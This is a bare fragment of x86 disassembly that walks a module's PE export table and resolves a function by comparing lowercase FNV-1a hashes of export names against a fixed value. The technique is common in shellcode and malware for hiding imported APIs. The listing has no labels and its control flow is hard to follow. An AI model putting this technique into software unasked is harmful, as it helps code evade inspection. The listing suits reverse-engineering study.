mov dword [esp + 0xc], ecx
cmp eax, edx
je 0x4c56c3
cmp dword [ecx + 0x18], 0
jne 0x4c5656
xor ebx, ebx
mov dword [0x4f07ac], ebx
mov eax, dword [0x4f9040]
test eax, eax
jne 0x4c5770
test ebx, ebx
je 0x4c5769
mov eax, dword [ebx + 0x3c]
mov ecx, dword [eax + ebx + 0x78]
lea eax, [ecx + ebx]
mov dword [esp + 0xc], eax
cmp eax, ebx
je 0x4c5769
xor ecx, ecx
mov dword [esp + 0x10], ecx
cmp dword [eax + 0x18], ecx
je 0x4c5769
mov eax, dword [eax + 0x20]
mov edx, dword [esp + 0xc]
add eax, ebx
mov dword [esp + 0x14], eax
mov esi, dword [eax]
mov edi, 0x811c9dc5
mov al, byte [esi + ebx]
add esi, ebx
inc esi
test al, al
je 0x4c5754
movsx edx, al
lea esi, [esi + 1]
sub al, 0x41
mov ecx, edx
or ecx, 0x20
cmp al, 0x19
mov al, byte [esi - 1]
cmova ecx, edx
xor ecx, edi
imul edi, ecx, 0x1000193
test al, al
jne 0x4c5723
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
cmp edi, 0x547ab68
je 0x4c57b7
mov eax, dword [esp + 0x14]
inc ecx
add eax, 4
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp ecx, dword [edx + 0x18]
jne 0x4c5712
xor eax, eax
mov dword [0x4f9040], eax
push dword [0x4f8b00]
call eax
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x4c5580
mov edx, dword [esp + 0x10]
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4c561f
mov eax, dword [esp + 0xc]
mov ebx, dword [eax + 0x18]
jmp 0x4c56c5
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + ebx]
mov eax, dword [edx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
jmp 0x4c576b